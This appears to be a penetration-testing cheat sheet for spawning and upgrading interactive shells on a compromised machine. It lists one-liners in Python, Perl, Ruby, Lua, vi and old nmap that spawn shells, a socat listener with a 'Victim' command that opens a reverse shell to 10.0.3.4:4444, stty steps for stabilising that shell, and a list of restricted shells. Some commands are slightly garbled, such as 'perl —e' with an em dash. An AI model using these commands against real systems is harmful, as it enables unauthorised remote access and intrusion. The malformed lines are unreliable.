# Spawning TTY Shells

### Shell Spawning

#### Python

```
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
```

#### **Bash**

```
echo os.system('/bin/bash')
/bin/sh -i
```

#### **Perl**

```
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
```

#### **Ruby**

```
ruby: exec "/bin/sh"
```

#### **LUA**

```
lua: os.execute('/bin/sh')
```

#### **From Within IRB**

```
exec "/bin/sh"
```

#### **Inside vi**

```
:!bash
:set shell=/bin/bash:shell
```

#### **Nmap <=5.21**

```
nmap -V
nmap --interactive
!sh
```

#### **Socat** 

**\# Listener**

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

\# Victim

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

####  

### **STTY Options** 

#### **In Reverse Shell**

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```

#### **In Kali** 

```
$ stty raw -echo
$ fg
press enter
```

#### **In Reverse Shell**

```
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
```

```
sh -r 
rsh

rbash
bash -r
bash --restricted

rksh
ksh -r
```